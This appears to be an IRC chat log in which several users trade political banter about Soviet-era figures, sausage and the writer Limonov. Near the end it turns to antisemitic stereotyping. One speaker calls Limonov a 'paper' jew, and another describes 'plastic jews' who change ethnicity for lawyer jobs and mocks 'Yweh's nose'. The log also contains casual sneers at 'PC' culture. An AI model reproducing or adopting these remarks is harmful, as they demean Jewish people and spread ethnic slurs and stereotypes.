23:48 |
BingoBoingo |
<asciilifeform> decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone' << Patton's "Murica |
23:48 |
decimation |
asciilifeform: 'anti-soviet' and 'anti-communist' but not 'anti-leftist' |
23:48 |
asciilifeform |
reality - drive cab, or collect 'welfare' |
23:48 |
dub |
50 types of forcemeat the soviet dream |
23:50 |
BingoBoingo |
dub> 50 types of forcemeat the soviet dream << There is good forcemeat |
23:51 |
decimation |
I look forward to the next regime change in the us so that the 'anti-communists' can be named |
23:51 |
asciilifeform |
what you call 'forcemeat' we called 'doctor's sausage' for some reason. |
23:54 |
decimation |
I quite enjoy a good mortadella |
23:54 |
BingoBoingo |
I mean the french can do it well, just when we have aspiring diesel that would suppose "Freedom Fries" |
23:54 |
danielpbarron |
forcemeet sounds like a jedi dating site |
23:54 |
asciilifeform |
(for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa) |
23:55 |
asciilifeform |
herr l. is near the top of my list of rich'n'famous folks i'd personally enjoy seeing in here. |
23:55 |
asciilifeform |
we could start with his idea of 'young and old men ought to live in separate countries.' |
23:56 |
asciilifeform |
or let him explain how to recreate the lifestyle of a mongol hordesman in modern times |
23:56 |
asciilifeform |
(he appears to know how) |
23:56 |
BingoBoingo |
<asciilifeform> (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa) << In the middle West you get plastic jews, people who undergoe trans ethnicism for lawyer jobs |
23:56 |
BingoBoingo |
The tend to be ostracized by actual people of Yweh's nose, but no local WASPs care |
23:57 |
asciilifeform |
lol, lawyers have ethnic mafia there ? |
23:57 |
asciilifeform |
or is it that other folks won't go to a 'goy' lawyer ? |
23:58 |
BingoBoingo |
asciilifeform: More people want a Goy lawyer, but don't want an actual Goy. The actual goys tend to retreat to either left coast after law school. |
23:59 |
BingoBoingo |
And in Law school the Goy's can't call out aspiring goy's because PC |